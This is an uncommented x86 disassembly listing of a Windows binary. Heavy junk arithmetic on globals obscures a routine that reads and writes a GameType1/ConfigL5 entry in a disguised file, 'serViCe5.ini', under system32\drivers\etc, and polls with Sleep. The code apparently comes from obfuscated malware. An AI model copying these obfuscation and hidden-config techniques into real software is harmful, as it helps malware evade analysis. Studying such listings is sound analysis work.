imul edi
mov eax, dword [0x45ecc8]
imul eax, eax, 0x6181b446
sar edx, 0x1c
mov edi, edx
shr edi, 0x1f
add ecx, edx
add edi, ecx
add edi, eax
mov eax, dword [ebp - 0x111c]
test eax, eax
mov dword [0x45ecc8], edi
je 0x4240e0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x423998
sub eax, edx
mov dword [ebp - 0x10cc], eax
je 0x4240e0
push 1
mov eax, esi
cdq
push 0xeae0c6d3
push edx
push eax
call fcn.004319f0
mov ecx, dword [str._r_____r____]
mov edx, dword [0x45ecd8]
add edx, ecx
imul ecx, ecx, 0x151f392d
imul edx, edx, 0x5295f78d
mov edi, eax
add edi, edx
mov eax, 0x2a215c6f
mul esi
mov eax, esi
imul esi, esi, 0x140cef57
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 0x1f
sub edi, eax
sub edi, esi
sub edi, ecx
lea ecx, [edi + ebx - 0x6181b446]
push 0xffffffffffffffff
mov dword [0x45ecd4], ecx
push 0x5626f0
lea ecx, [ebp - 0x116c]
call fcn.00407560
mov ebx, dword [0x45ece8]
mov edi, dword [0x45eccc]
mov eax, ebx
cdq
mov dword [ebp - 0x10f8], eax
mov dword [ebp - 0x10f4], edx
mov edx, dword [0x45ecd0]
lea eax, [edx + ebx]
imul eax, eax, 0x4f64023c
mov dword [ebp - 0x10cc], eax
push 0xfffffffffffffffe
mov eax, edi
cdq
push 0x4f64023c
push edx
push eax
mov byte [ebp - 4], 7
call fcn.004319f0
mov ecx, dword [ebp - 0x10f8]
mov esi, eax
mov eax, dword [ebp - 0x10cc]
push 1
sub esi, eax
mov eax, dword [ebp - 0x10f4]
push 0x86050f76
push eax
push ecx
call fcn.004319f0
mov edx, dword [0x45ecd4]
mov ecx, dword [0x45ecdc]
imul edx, edx, 0x6b66a94
add esi, eax
imul ecx, ecx, 0x6181b446
mov eax, dword [0x45ecd8]
imul eax, eax, 0x2c857103
sub esi, edx
sub esi, eax
mov eax, dword [ebp - 0x111c]
sub esi, ecx
mov dword [0x45ece0], esi
mov dword [ebp - 0x10d8], 0x561ee8
jmp 0x423ad0
mov dl, byte [eax]
mov ecx, dword [ebp - 0x10d8]
mov byte [ebp - 0x10e9], dl
cmp dl, byte [ecx]
jne 0x423b18
mov cl, dl
test cl, cl
je 0x423b14
mov dl, byte [eax + 1]
mov ecx, dword [ebp - 0x10d8]
mov byte [ebp - 0x10e9], dl
cmp dl, byte [ecx + 1]
jne 0x423b18
mov edx, ecx
mov cl, byte [ebp - 0x10e9]
add edx, 2
add eax, 2
test cl, cl
mov dword [ebp - 0x10d8], edx
jne 0x423ad0
xor eax, eax
jmp 0x423b1d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4240cb
mov eax, dword [0x45ecd4]
cdq
push 1
push 0xeae0c6d3
push edx
push eax
mov dword [ebp - 0x10e8], eax
mov dword [ebp - 0x10e4], edx
call fcn.004319f0
mov edx, dword [ebp - 0x10e4]
push 1
push 0x5295f78d
mov dword [ebp - 0x10d8], eax
mov eax, dword [ebp - 0x10e8]
push edx
push eax
call fcn.004319f0
mov ecx, eax
mov eax, 0x2a215c6f
mul edi
sub edi, edx
shr edi, 1
add edi, edx
mov edx, esi
imul edx, edx, 0x140cef57
shr edi, 0x1f
add ecx, edi
mov edi, dword [str._r_____r____]
sub ecx, edx
mov edx, dword [0x45ece4]
mov eax, ebx
imul edx, edx, 0x6181b446
imul eax, eax, 0x6b66a94
sub ecx, eax
mov eax, dword [ebp - 0x10d8]
add ecx, edx
sub ecx, edi
lea ecx, [ecx + eax - 0x4f64023c]
mov eax, dword [ebp - 0x111c]
mov dword [0x45eccc], ecx
lea ecx, [eax + 1]
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x423bc0
sub eax, ecx
cmp eax, 0x800
jae 0x423bef
mov ecx, dword [ebp - 0x111c]
mov edx, 0x561ee8
jmp 0x423be0
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x423be0
jmp 0x423c99
mov edx, dword [ebp - 0x10f4]
mov edi, dword [ebp - 0x10f8]
push 2
push 0x6b66a94
push edx
push edi
call fcn.004319f0
mov ecx, eax
mov eax, 0x2a215c6f
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
push 1
add eax, edx
mov edx, dword [ebp - 0x10f4]
push 0xebf310a9
shr eax, 0x1f
push edx
add ecx, eax
push edi
mov dword [ebp - 0x10cc], ecx
call fcn.004319f0
imul ebx, ebx, 0x6181b446
imul esi, esi, 0x242d3a05
mov ecx, dword [ebp - 0x10cc]
mov edi, dword [ebp - 0x10d8]
sub ecx, eax
mov eax, dword [0x45ecc8]
imul eax, eax, 0x151f392d
sub ecx, ebx
sub ecx, eax
sub ecx, esi
sub ecx, edi
mov dword [0x45ecd8], ecx
xor eax, eax
mov ecx, 0x200
mov edi, 0x561ee8
rep stosd dword es:[edi], eax
mov ecx, dword [ebp - 0x111c]
push 0x7ff
push ecx
push 0x561ee8
call fcn.00432b10
mov edi, dword [str._r_____r____]
add esp, 0xc
mov eax, dword [0x45ecd8]
cdq
mov esi, eax
mov eax, dword [0x45ece4]
push 0xfffffffffffffffd
mov dword [ebp - 0x10fc], edx
cdq
push 0xf4a814ea
push edx
push eax
call fcn.004319f0
mov edx, dword [0x45ecc8]
mov ebx, eax
mov eax, dword [0x45ecd4]
add edx, eax
imul edx, edx, 0x242d3a05
push 1
sub ebx, edx
mov eax, edi
cdq
push 0xb09bfdc4
push edx
push eax
call fcn.004319f0
mov ecx, dword [ebp - 0x10fc]
push 1
push 0xeae0c6d3
push ecx
push esi
add ebx, eax
call fcn.004319f0
mov edx, dword [ebp - 0x10fc]
push 1
push 0x86050f76
push edx
push esi
sub ebx, eax
call fcn.004319f0
imul edi, edi, 0x151f392d
sub ebx, eax
sub ebx, edi
mov eax, 0x5615e8
mov dword [0x45ece4], ebx
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x423d27
sub eax, ecx
cmp eax, 5
jbe 0x4240cb
mov eax, dword [ebp - 0x111c]
push str.ConfigL6
push eax
call fcn.00405530
add esp, 8
test eax, eax
jne 0x4240cb
mov esi, dword [0x45ecc8]
push 1
mov eax, esi
cdq
push 0xeae0c6d3
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ecd0]
mov edx, dword [0x45ecd8]
add edx, ecx
imul ecx, ecx, 0x151f392d
imul edx, edx, 0x140cef57
mov edi, eax
sub edi, edx
mov eax, 0x4d7937c3
mul dword [str._r_____r____]
shr edx, 0x1e
sub edi, edx
mov eax, 0x2a215c6f
mul esi
mov eax, dword [0x45ece4]
sub esi, edx
imul eax, eax, 0x6181b446
shr esi, 1
add esi, edx
shr esi, 0x1f
add edi, esi
sub edi, eax
add edi, ecx
push 0x132b600
mov dword [0x45ece8], edi
call sym.CallDll.exe_int___cdecl_pro_cess3_int_
add esp, 4
mov dword [ebp - 0x10d8], 0
jmp 0x423de0
cmp dword [ebp - 0x10d8], 0x64
jge 0x423edc
mov eax, dword [0x45ecd4]
mov esi, dword [0x45eccc]
cdq
mov edi, eax
push 2
mov ebx, edx
mov eax, esi
cdq
push 0xb57eb16
push edx
push eax
mov dword [ebp - 0x10e4], ebx
mov dword [ebp - 0x10d4], eax
mov dword [ebp - 0x10d0], edx
call fcn.004319f0
push 2
push 0xb57eb16
push ebx
push edi
mov dword [ebp - 0x10cc], eax
call fcn.004319f0
mov ecx, dword [ebp - 0x10cc]
push 1
push 0xeae0c6d3
mov edx, ebx
push edx
sub ecx, eax
push edi
mov dword [ebp - 0x10cc], ecx
call fcn.004319f0
mov ecx, dword [ebp - 0x10cc]
mov edx, dword [ebp - 0x10d4]
push 1
add ecx, eax
mov eax, dword [ebp - 0x10d0]
push 0x86050f76
push eax
push edx
mov dword [ebp - 0x10cc], ecx
call fcn.004319f0
imul esi, esi, 0x140cef57
mov ecx, dword [ebp - 0x10cc]
mov edx, dword [0x45ecdc]
sub ecx, eax
imul edx, edx, 0x5295f78d
mov eax, dword [0x45ece8]
imul eax, eax, 0x6b66a94
sub ecx, esi
add ecx, eax
add ecx, edx
push 0x64
mov dword [str._r_____r____], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x5615e8
lea ecx, [eax + 1]
jmp 0x423ec0
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x423ec0
sub eax, ecx
mov dword [ebp - 0x10cc], eax
je 0x423edc
inc dword [ebp - 0x10d8]
jmp 0x423de0
mov eax, dword [0x45ecd4]
cdq
push 1
push 0xeae0c6d3
mov edi, edx
mov esi, eax
push edi
push esi
call fcn.004319f0
push 1
push 0x5295f78d
push edi
push esi
mov ebx, eax
call fcn.004319f0
mov ecx, dword [0x45eccc]
add ebx, eax
mov eax, 0x2a215c6f
mul ecx
mov eax, dword [0x45ece0]
mov esi, dword [str._r_____r____]
imul eax, eax, 0x140cef57
sub ecx, edx
shr ecx, 1
add ecx, edx
mov edx, dword [0x45ece4]
shr ecx, 0x1f
imul edx, edx, 0x6181b446
add ebx, ecx
mov ecx, dword [0x45ece8]
imul ecx, ecx, 0x6b66a94
push str.C:_WINDoWS_system32driversetc_serViCe5.ini
sub ebx, eax
push 0x800
sub ebx, ecx
lea eax, [ebp - 0x10c4]
push eax
add ebx, edx
push 0x44ee59
sub ebx, esi
push str.ConfigL5
sub ebx, 0x4f64023c
push str.GameType1
mov dword [0x45eccc], ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov esi, dword [0x45ecdc]
push 1
mov eax, esi
cdq
push 0xeae0c6d3
push edx
push eax
call fcn.004319f0
mov ecx, dword [str._r_____r____]
mov edx, dword [0x45ecd8]
add edx, ecx
imul ecx, ecx, 0x151f392d
imul edx, edx, 0x5295f78d
mov edi, eax
add edi, edx
mov eax, 0x2a215c6f
mul esi
mov eax, esi
imul esi, esi, 0x140cef57
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 0x1f
sub edi, eax
sub edi, esi
sub edi, ecx
mov ecx, dword [0x45ece0]
lea eax, [ebp - 0x10c4]
lea edx, [edi + ecx - 0x6181b446]
push eax
mov dword [0x45ecd4], edx
call fcn.004320d2
inc eax
push eax
push 0x44eb00
lea ecx, [ebp - 0x10c4]
push ecx
call fcn.00431a9a
add esp, 0x10
push str.C:_WINDoWS_system32driversetc_serViCe5.ini
lea edx, [ebp - 0x10c4]
push edx
push str.ConfigL5
push str.GameType1
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov eax, dword [0x45ece4]
mov ebx, dword [0x45eccc]
cdq
mov esi, eax
push 0xfffffffffffffffe
mov edi, edx
mov eax, ebx
cdq
push 0xad6a0873
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ecd0]
add ecx, ebx
imul ecx, ecx, 0x79faf08a
push 2
push 0xb57eb16
push edi
sub eax, ecx
push esi
mov dword [ebp - 0x10cc], eax
call fcn.004319f0
mov ecx, dword [ebp - 0x10cc]
push 1
push 0xeae0c6d3
push edi
add ecx, eax
push esi
mov dword [ebp - 0x10cc], ecx
call fcn.004319f0
mov ecx, dword [ebp - 0x10cc]
mov edx, dword [0x45ece0]
mov esi, dword [0x5615e0]
imul edx, edx, 0x2c857103
add ecx, eax
mov eax, dword [0x45ecdc]
imul eax, eax, 0x6181b446
sub ecx, edx
add ecx, eax
inc esi
push 0
mov dword [0x45ecdc], ecx
mov dword [0x5615e0], esi
call fcn.004320d7
add esp, 4
mov dword [0x5615e4], eax
lea ecx, [ebp - 0x116c]
mov byte [ebp - 4], 6
call fcn.00407610
mov edi, dword [0x45ecc8]
mov eax, dword [0x45ecd8]
cdq
mov ebx, eax
mov eax, dword [0x45ece4]
push 0xfffffffffffffffd
mov dword [ebp - 0x10fc], edx
cdq
push 0xf4a814ea
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ecd4]
mov esi, dword [str._r_____r____]
add edi, ecx
imul edi, edi, 0x242d3a05
sub eax, edi
mov dword [ebp - 0x10cc], eax
push 1
mov eax, esi
cdq
push 0xb09bfdc4
push edx
push eax
call fcn.004319f0
mov edx, dword [ebp - 0x10fc]
mov ecx, dword [ebp - 0x10cc]
push 1
push 0xeae0c6d3
push edx
add ecx, eax
push ebx
mov dword [ebp - 0x10cc], ecx
call fcn.004319f0
mov ecx, dword [ebp - 0x10cc]
push 1
sub ecx, eax
mov eax, dword [ebp - 0x10fc]
push 0x86050f76
push eax
push ebx
mov dword [ebp - 0x10cc], ecx
call fcn.004319f0
imul esi, esi, 0x151f392d
mov ecx, dword [ebp - 0x10cc]
sub ecx, eax
sub ecx, esi
push ecx
mov dword [0x45ece4], ecx
mov ecx, dword [ebp - 0x10f0]
mov eax, esp
mov dword [eax], ecx
mov eax, dword [ebp - 0x10f0]
test eax, eax
mov dword [ebp - 0x10cc], esp
je 0x4241aa
mov edx, dword [eax]
push eax
call dword [edx + 4]
mov ecx, 0x572838
call fcn.004086c0
mov esi, dword [0x45ecd0]
push 1
mov eax, esi
cdq
push 0xebf310a9
push edx
push eax
call fcn.004319f0
mov edi, eax
mov eax, dword [0x45ece4]
push 1
cdq
push 0x5295f78d
push edx
push eax
call fcn.004319f0
sub edi, eax
mov eax, 0x4d7937c3
mul esi
mov eax, dword [0x45ece0]
imul eax, eax, 0x7f4ea4e2
shr edx, 0x1e
add edi, edx
sub edi, eax
mov eax, 0x2a01e433
imul esi
mov eax, dword [ebp - 0x10f0]
sar edx, 0x1c
mov ecx, edx
add edi, edx
mov edx, dword [0x45ecc8]
imul edx, edx, 0x6181b446
shr ecx, 0x1f
add ecx, edi
add ecx, edx
push 0
push eax
mov dword [0x45ecc8], ecx
call fcn.0040ab50
mov eax, dword [0x45ecdc]
add esp, 8
push 2
cdq
push 0xb57eb16
push edx
push eax
call fcn.004319f0
mov esi, eax
mov eax, dword [0x45ecd0]
push 0xfffffffffffffffe
cdq
push 0x4f64023c
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ece8]
imul ecx, ecx, 0x6b66a94
mov ebx, eax
sub ebx, esi
add ebx, ecx
mov ecx, dword [0x45ecd8]
mov edx, ecx
imul edx, edx, 0xb57eb16
add ebx, edx
mov eax, 0x2a01e433
imul ecx
mov eax, dword [0x45ecc8]
mov ecx, dword [0x45ece4]
imul eax, eax, 0x5295f78d
sar edx, 0x1c
mov edi, edx
shr edi, 0x1f
add ebx, edx
add edi, ebx
add edi, eax
sub edi, ecx
sub edi, 0x6181b446
mov dword [0x45ecd0], edi
jmp 0x4242bc
mov edi, dword [0x45ecd0]
mov eax, dword [0x45ece8]
cdq
mov esi, eax
mov eax, dword [0x45ecd4]
push 1
mov ebx, edx
cdq
push 0xeae0c6d3
push edx
push eax
mov dword [ebp - 0x10f8], esi
mov dword [ebp - 0x10f4], ebx
call fcn.004319f0
push 2
push 0x6b66a94
push ebx
push esi
mov dword [ebp - 0x10cc], eax
call fcn.004319f0
mov ebx, dword [0x45ece0]
mov esi, eax
mov eax, dword [ebp - 0x10cc]
sub esi, eax
mov eax, 0x2a215c6f
mul ebx
mov eax, dword [ebp - 0x10f8]
mov ecx, ebx
sub ecx, edx
shr ecx, 1
push 1
add ecx, edx
mov edx, dword [ebp - 0x10f4]
push 0xebf310a9
push edx
shr ecx, 0x1f
push eax
add esi, ecx
call fcn.004319f0
imul ebx, ebx, 0x242d3a05
mov ecx, dword [0x45ece8]
sub esi, eax
imul ecx, ecx, 0x6181b446
mov eax, dword [0x45ecc8]
imul eax, eax, 0x151f392d
sub esi, ecx
sub esi, eax
mov eax, dword [ebp - 0x1110]
sub esi, ebx
test eax, eax
mov dword [0x45ecd8], esi
mov byte [ebp - 4], 5
je 0x424383
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov edi, dword [0x45ecd0]
mov esi, dword [0x45ecd8]
mov eax, dword [ebp - 0x1114]
test eax, eax
mov byte [ebp - 4], 4
je 0x4243a3
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov edi, dword [0x45ecd0]
mov esi, dword [0x45ecd8]
mov eax, dword [ebp - 0x10f0]
test eax, eax
mov byte [ebp - 4], 2
je 0x4243c3
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov edi, dword [0x45ecd0]
mov esi, dword [0x45ecd8]
mov eax, dword [ebp - 0x110c]
test eax, eax
mov byte [ebp - 4], 1
je 0x4243e3
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [0x45ecd8]
mov edi, dword [0x45ecd0]
inc dword [ebp - 0x1124]
jmp 0x4218b0
mov eax, dword [ebp - 0x1118]
test eax, eax
mov byte [ebp - 4], 0
je 0x42440e
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov edi, dword [0x45ecd0]
mov esi, dword [0x45ecd8]
mov eax, dword [0x45eccc]
mov ebx, dword [0x45ece8]
push 0xfffffffffffffffe
cdq
push 0x4f64023c
push edx
add edi, ebx
push eax
imul edi, edi, 0x4f64023c
call fcn.004319f0
sub eax, edi
mov edi, eax
push 1
mov eax, ebx
cdq
push 0x86050f76
push edx
push eax
call fcn.004319f0
imul esi, esi, 0x2c857103
add edi, eax
mov eax, dword [0x45ecd4]
imul eax, eax, 0x6b66a94
sub edi, eax
mov eax, dword [0x45ecdc]
imul eax, eax, 0x6181b446
sub edi, esi
sub edi, eax
mov eax, dword [ebp - 0x1128]
mov dword [0x45ece0], edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0043180d
mov esp, ebp
pop ebp
ret